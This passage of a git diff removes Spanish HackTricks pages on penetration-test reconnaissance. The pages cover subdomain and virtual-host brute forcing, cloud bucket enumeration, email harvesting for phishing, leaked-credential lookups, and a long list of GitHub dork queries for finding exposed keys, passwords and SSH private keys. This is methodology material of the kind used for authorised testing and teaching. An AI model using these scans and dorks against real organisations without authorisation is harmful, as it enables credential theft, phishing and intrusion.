* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta de subdominios acoplado con un algoritmo inmensamente simple pero efectivo guiado por respuestas DNS. Utiliza un conjunto de datos de entrada proporcionados, como una lista de palabras personalizada o registros históricos de DNS/TLS, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Flujo de descubrimiento de subdominios**
|
||||
|
||||
Revisa este artículo que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **flujos de trabajo de Trickest** para no tener que lanzar manualmente un montón de herramientas en mi ordenador:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### **VHosts / Hosts Virtuales**
|
||||
|
||||
Si encontraste una dirección IP que contiene **una o varias páginas web** pertenecientes a subdominios, podrías intentar **encontrar otros subdominios con webs en esa IP** buscando en **fuentes OSINT** para dominios en una IP o mediante **fuerza bruta de nombres de dominio VHost en esa IP**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
Puedes encontrar algunos **VHosts en IPs usando** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **u otras APIs**.
|
||||
|
||||
**Fuerza Bruta**
|
||||
|
||||
Si sospechas que algún subdominio puede estar oculto en un servidor web, podrías intentar forzarlo:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
gobuster vhost -u https://mysite.com -t 50 -w subdomains.txt
|
||||
|
||||
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u http://example.com -t 100
|
||||
|
||||
#From https://github.com/allyshka/vhostbrute
|
||||
vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com" --vhosts="vhosts_full.list"
|
||||
|
||||
#https://github.com/codingo/VHostScan
|
||||
VHostScan -t example.com
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Con esta técnica, incluso podrías acceder a endpoints internos/ocultos.
|
||||
{% endhint %}
|
||||
|
||||
### **Fuerza Bruta de CORS**
|
||||
|
||||
A veces encontrarás páginas que solo devuelven el encabezado _**Access-Control-Allow-Origin**_ cuando se establece un dominio/subdominio válido en el encabezado _**Origin**_. En estos escenarios, puedes abusar de este comportamiento para **descubrir** nuevos **subdominios**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Fuerza Bruta de Buckets**
|
||||
|
||||
Mientras buscas **subdominios**, mantén un ojo para ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Además, en este punto ya conocerás todos los dominios dentro del alcance, intenta [**realizar una fuerza bruta de posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorización**
|
||||
|
||||
Puedes **monitorizar** si se crean **nuevos subdominios** de un dominio mediante la monitorización de los **registros de transparencia de certificados** que hace [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Búsqueda de vulnerabilidades**
|
||||
|
||||
Verifica posibles [**tomas de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Si encuentras algún **subdominio con una IP diferente** a las que ya encontraste en el descubrimiento de activos, debes realizar un **escaneo básico de vulnerabilidades** (usando Nessus o OpenVAS) y un [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de los servicios que se estén ejecutando, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, por lo que no está dentro del alcance, ten cuidado._
|
||||
|
||||
## IPs
|
||||
|
||||
En los pasos iniciales, es posible que hayas **encontrado algunos rangos de IP, dominios y subdominios**.\
|
||||
Es hora de **recopilar todas las IPs de esos rangos** y de los **dominios/subdominios (consultas DNS).**
|
||||
|
||||
Usando servicios de las siguientes **APIs gratuitas**, también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs aún podrían ser propiedad del cliente (y podrían permitirte encontrar [**bypasses de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
### **Búsqueda de vulnerabilidades**
|
||||
|
||||
**Escanea los puertos de todas las IPs que no pertenezcan a CDNs** (ya que es muy probable que no encuentres nada interesante allí). En los servicios en ejecución descubiertos, es posible que puedas encontrar **vulnerabilidades**.
|
||||
|
||||
**Encuentra una** [**guía**](../pentesting-network/) **sobre cómo escanear hosts.**
|
||||
|
||||
## Caza de servidores web
|
||||
|
||||
> Hemos encontrado todas las empresas y sus activos y conocemos los rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
|
||||
|
||||
En los pasos anteriores, probablemente ya hayas realizado algo de **reconocimiento de las IPs y dominios descubiertos**, por lo que es posible que ya hayas encontrado todos los posibles servidores web. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
|
||||
|
||||
Ten en cuenta que esto estará **orientado a la búsqueda de aplicaciones web**, por lo que también debes **realizar el escaneo de vulnerabilidades** y **de puertos** (**si está permitido** por el alcance).
|
||||
|
||||
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores web** usando [**masscan se puede encontrar aquí**](../pentesting-network/#http-port-discovery).\
|
||||
Otra herramienta útil para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Simplemente pasas una lista de dominios e intentará conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Capturas de pantalla**
|
||||
|
||||
Ahora que has descubierto **todos los servidores web** presentes en el alcance (entre las **IP** de la empresa y todos los **dominios** y **subdominios**), probablemente **no sepas por dónde empezar**. Así que, hagámoslo simple y comencemos tomando capturas de pantalla de todos ellos. Solo con **echar un vistazo** a la **página principal** puedes encontrar puntos finales **extraños** que son más **propensos** a ser **vulnerables**.
|
||||
|
||||
Para realizar la idea propuesta, puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Además, luego podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para ejecutar todas las **capturas de pantalla** y decirte **qué es probable que contenga vulnerabilidades** y qué no.
|
||||
|
||||
## Activos de nube pública
|
||||
|
||||
Para encontrar posibles activos de nube pertenecientes a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas, podrías usar palabras como: `"crypto", "wallet", "dao", "<nombre_de_dominio>", <"nombres_de_subdominios">`.
|
||||
|
||||
También necesitarás listas de palabras comunes utilizadas en los buckets:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Luego, con esas palabras, deberías generar **permutaciones** (consulta la [**Segunda ronda de fuerza bruta DNS**](./#second-dns-bruteforce-round) para obtener más información).
|
||||
|
||||
Con las listas de palabras resultantes, puedes usar herramientas como [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Recuerda que al buscar activos de nube, debes buscar **más que solo buckets en AWS**.
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
Si encuentras cosas como **buckets abiertos o funciones en la nube expuestas**, debes **acceder a ellas** e intentar ver qué te ofrecen y si puedes abusar de ellas.
|
||||
|
||||
## Correos electrónicos
|
||||
|
||||
Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes todo lo que necesitas para comenzar a buscar correos electrónicos. Estas son las **API** y **herramientas** que mejor me han funcionado para encontrar correos electrónicos de una empresa:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - con APIs
|
||||
* API de [**https://hunter.io/**](https://hunter.io/) (versión gratuita)
|
||||
* API de [**https://app.snov.io/**](https://app.snov.io/) (versión gratuita)
|
||||
* API de [**https://minelead.io/**](https://minelead.io/) (versión gratuita)
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
Los correos electrónicos serán útiles más adelante para **ataques de fuerza bruta en el inicio de sesión web y servicios de autenticación** (como SSH). Además, se necesitan para **phishing**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
|
||||
|
||||
## Fugas de credenciales
|
||||
|
||||
Con los **dominios**, **subdominios** y **correos electrónicos**, puedes comenzar a buscar credenciales filtradas en el pasado que pertenezcan a esos correos electrónicos:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
Si encuentras credenciales filtradas **válidas**, esto es una victoria muy fácil.
|
||||
|
||||
## Fugas de secretos
|
||||
|
||||
Las fugas de credenciales están relacionadas con
|
||||
|
|
@ -1,326 +0,0 @@
|
|||
# Dorks de Github y filtraciones
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
Ahora que hemos construido la lista de activos de nuestro alcance, es hora de buscar algunas frutas bajas de OSINT.
|
||||
|
||||
### Filtraciones de claves API en Github
|
||||
|
||||
* [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber)
|
||||
* [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
|
||||
* [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks)
|
||||
* [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
|
||||
* [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
|
||||
* [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
* [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
|
||||
* [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
|
||||
* [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker)
|
||||
|
||||
### **Dorks**
|
||||
```bash
|
||||
".mlab.com password"
|
||||
"access_key"
|
||||
"access_token"
|
||||
"amazonaws"
|
||||
"api.googlemaps AIza"
|
||||
"api_key"
|
||||
"api_secret"
|
||||
"apidocs"
|
||||
"apikey"
|
||||
"apiSecret"
|
||||
"app_key"
|
||||
"app_secret"
|
||||
"appkey"
|
||||
"appkeysecret"
|
||||
"application_key"
|
||||
"appsecret"
|
||||
"appspot"
|
||||
"auth"
|
||||
"auth_token"
|
||||
"authorizationToken"
|
||||
"aws_access"
|
||||
"aws_access_key_id"
|
||||
"aws_key"
|
||||
"aws_secret"
|
||||
"aws_token"
|
||||
"AWSSecretKey"
|
||||
"bashrc password"
|
||||
"bucket_password"
|
||||
"client_secret"
|
||||
"cloudfront"
|
||||
"codecov_token"
|
||||
"config"
|
||||
"conn.login"
|
||||
"connectionstring"
|
||||
"consumer_key"
|
||||
"credentials"
|
||||
"database_password"
|
||||
"db_password"
|
||||
"db_username"
|
||||
"dbpasswd"
|
||||
"dbpassword"
|
||||
"dbuser"
|
||||
"dot-files"
|
||||
"dotfiles"
|
||||
"encryption_key"
|
||||
"fabricApiSecret"
|
||||
"fb_secret"
|
||||
"firebase"
|
||||
"ftp"
|
||||
"gh_token"
|
||||
"github_key"
|
||||
"github_token"
|
||||
"gitlab"
|
||||
"gmail_password"
|
||||
"gmail_username"
|
||||
"herokuapp"
|
||||
"internal"
|
||||
"irc_pass"
|
||||
"JEKYLL_GITHUB_TOKEN"
|
||||
"key"
|
||||
"keyPassword"
|
||||
"ldap_password"
|
||||
"ldap_username"
|
||||
"login"
|
||||
"mailchimp"
|
||||
"mailgun"
|
||||
"master_key"
|
||||
"mydotfiles"
|
||||
"mysql"
|
||||
"node_env"
|
||||
"npmrc _auth"
|
||||
"oauth_token"
|
||||
"pass"
|
||||
"passwd"
|
||||
"password"
|
||||
"passwords"
|
||||
"pem private"
|
||||
"preprod"
|
||||
"private_key"
|
||||
"prod"
|
||||
"pwd"
|
||||
"pwds"
|
||||
"rds.amazonaws.com password"
|
||||
"redis_password"
|
||||
"root_password"
|
||||
"secret"
|
||||
"secret.password"
|
||||
"secret_access_key"
|
||||
"secret_key"
|
||||
"secret_token"
|
||||
"secrets"
|
||||
"secure"
|
||||
"security_credentials"
|
||||
"send.keys"
|
||||
"send_keys"
|
||||
"sendkeys"
|
||||
"SF_USERNAME salesforce"
|
||||
"sf_username"
|
||||
"site.com" FIREBASE_API_JSON=
|
||||
"site.com" vim_settings.xml
|
||||
"slack_api"
|
||||
"slack_token"
|
||||
"sql_password"
|
||||
"ssh"
|
||||
"ssh2_auth_password"
|
||||
"sshpass"
|
||||
"staging"
|
||||
"stg"
|
||||
"storePassword"
|
||||
"stripe"
|
||||
"swagger"
|
||||
"testuser"
|
||||
"token"
|
||||
"x-api-key"
|
||||
"xoxb "
|
||||
"xoxp"
|
||||
[WFClient] Password= extension:ica
|
||||
access_key
|
||||
bucket_password
|
||||
dbpassword
|
||||
dbuser
|
||||
extension:avastlic "support.avast.com"
|
||||
extension:bat
|
||||
extension:cfg
|
||||
extension:env
|
||||
extension:exs
|
||||
extension:ini
|
||||
extension:json api.forecast.io
|
||||
extension:json googleusercontent client_secret
|
||||
extension:json mongolab.com
|
||||
extension:pem
|
||||
extension:pem private
|
||||
extension:ppk
|
||||
extension:ppk private
|
||||
extension:properties
|
||||
extension:sh
|
||||
extension:sls
|
||||
extension:sql
|
||||
extension:sql mysql dump
|
||||
extension:sql mysql dump password
|
||||
extension:yaml mongolab.com
|
||||
extension:zsh
|
||||
filename:.bash_history
|
||||
filename:.bash_history DOMAIN-NAME
|
||||
filename:.bash_profile aws
|
||||
filename:.bashrc mailchimp
|
||||
filename:.bashrc password
|
||||
filename:.cshrc
|
||||
filename:.dockercfg auth
|
||||
filename:.env DB_USERNAME NOT homestead
|
||||
filename:.env MAIL_HOST=smtp.gmail.com
|
||||
filename:.esmtprc password
|
||||
filename:.ftpconfig
|
||||
filename:.git-credentials
|
||||
filename:.history
|
||||
filename:.htpasswd
|
||||
filename:.netrc password
|
||||
filename:.npmrc _auth
|
||||
filename:.pgpass
|
||||
filename:.remote-sync.json
|
||||
filename:.s3cfg
|
||||
filename:.sh_history
|
||||
filename:.tugboat NOT _tugboat
|
||||
filename:_netrc password
|
||||
filename:apikey
|
||||
filename:bash
|
||||
filename:bash_history
|
||||
filename:bash_profile
|
||||
filename:bashrc
|
||||
filename:beanstalkd.yml
|
||||
filename:CCCam.cfg
|
||||
filename:composer.json
|
||||
filename:config
|
||||
filename:config irc_pass
|
||||
filename:config.json auths
|
||||
filename:config.php dbpasswd
|
||||
filename:configuration.php JConfig password
|
||||
filename:connections
|
||||
filename:connections.xml
|
||||
filename:constants
|
||||
filename:credentials
|
||||
filename:credentials aws_access_key_id
|
||||
filename:cshrc
|
||||
filename:database
|
||||
filename:dbeaver-data-sources.xml
|
||||
filename:deployment-config.json
|
||||
filename:dhcpd.conf
|
||||
filename:dockercfg
|
||||
filename:environment
|
||||
filename:express.conf
|
||||
filename:express.conf path:.openshift
|
||||
filename:filezilla.xml
|
||||
filename:filezilla.xml Pass
|
||||
filename:git-credentials
|
||||
filename:gitconfig
|
||||
filename:global
|
||||
filename:history
|
||||
filename:htpasswd
|
||||
filename:hub oauth_token
|
||||
filename:id_dsa
|
||||
filename:id_rsa
|
||||
filename:id_rsa or filename:id_dsa
|
||||
filename:idea14.key
|
||||
filename:known_hosts
|
||||
filename:logins.json
|
||||
filename:makefile
|
||||
filename:master.key path:config
|
||||
filename:netrc
|
||||
filename:npmrc
|
||||
filename:pass
|
||||
filename:passwd path:etc
|
||||
filename:pgpass
|
||||
filename:prod.exs
|
||||
filename:prod.exs NOT prod.secret.exs
|
||||
filename:prod.secret.exs
|
||||
filename:proftpdpasswd
|
||||
filename:recentservers.xml
|
||||
filename:recentservers.xml Pass
|
||||
filename:robomongo.json
|
||||
filename:s3cfg
|
||||
filename:secrets.yml password
|
||||
filename:server.cfg
|
||||
filename:server.cfg rcon password
|
||||
filename:settings
|
||||
filename:settings.py SECRET_KEY
|
||||
filename:sftp-config.json
|
||||
filename:sftp-config.json password
|
||||
filename:sftp.json path:.vscode
|
||||
filename:shadow
|
||||
filename:shadow path:etc
|
||||
filename:spec
|
||||
filename:sshd_config
|
||||
filename:token
|
||||
filename:tugboat
|
||||
filename:ventrilo_srv.ini
|
||||
filename:WebServers.xml
|
||||
filename:wp-config
|
||||
filename:wp-config.php
|
||||
filename:zhrc
|
||||
HEROKU_API_KEY language:json
|
||||
HEROKU_API_KEY language:shell
|
||||
HOMEBREW_GITHUB_API_TOKEN language:shell
|
||||
jsforce extension:js conn.login
|
||||
language:yaml -filename:travis
|
||||
msg nickserv identify filename:config
|
||||
org:Target "AWS_ACCESS_KEY_ID"
|
||||
org:Target "list_aws_accounts"
|
||||
org:Target "aws_access_key"
|
||||
org:Target "aws_secret_key"
|
||||
org:Target "bucket_name"
|
||||
org:Target "S3_ACCESS_KEY_ID"
|
||||
org:Target "S3_BUCKET"
|
||||
org:Target "S3_ENDPOINT"
|
||||
org:Target "S3_SECRET_ACCESS_KEY"
|
||||
password
|
||||
path:sites databases password
|
||||
private -language:java
|
||||
PT_TOKEN language:bash
|
||||
redis_password
|
||||
root_password
|
||||
secret_access_key
|
||||
SECRET_KEY_BASE=
|
||||
shodan_api_key language:python
|
||||
WORDPRESS_DB_PASSWORD=
|
||||
xoxp OR xoxb OR xoxa
|
||||
s3.yml
|
||||
.exs
|
||||
beanstalkd.yml
|
||||
deploy.rake
|
||||
.sls
|
||||
AWS_SECRET_ACCESS_KEY
|
||||
API KEY
|
||||
API SECRET
|
||||
API TOKEN
|
||||
ROOT PASSWORD
|
||||
ADMIN PASSWORD
|
||||
GCP SECRET
|
||||
AWS SECRET
|
||||
"private" extension:pgp
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -1,39 +0,0 @@
|
|||
# Búsqueda amplia de código fuente
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
El objetivo de esta página es enumerar **plataformas que permiten buscar código** (literal o regex) en miles/millones de repositorios en una o más plataformas.
|
||||
|
||||
Esto ayuda en varias ocasiones a **buscar información filtrada** o patrones de **vulnerabilidades**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Busca en millones de repositorios. Hay una versión gratuita y una versión empresarial (con 15 días gratis). Admite regexes.
|
||||
* [**Búsqueda de Github**](https://github.com/search): Busca en todo Github. Admite regexes.
|
||||
* Tal vez también sea útil revisar [**Búsqueda de código de Github**](https://cs.github.com/).
|
||||
* [**Búsqueda avanzada de Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Busca en proyectos de Gitlab. Admite regexes.
|
||||
* [**SearchCode**](https://searchcode.com/): Busca código en millones de proyectos.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cuando busques filtraciones en un repositorio y ejecutes algo como `git log -p`, ¡no olvides que puede haber **otras ramas con otros commits** que contengan secretos!
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,16 +0,0 @@
|
|||
---
|
||||
description: >-
|
||||
Esta es la página principal. Aquí puedes encontrar el flujo de trabajo típico para el pentesting de una máquina.
|
||||
---
|
||||
|
||||
# Metodología de Pentesting
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/h
|
||||
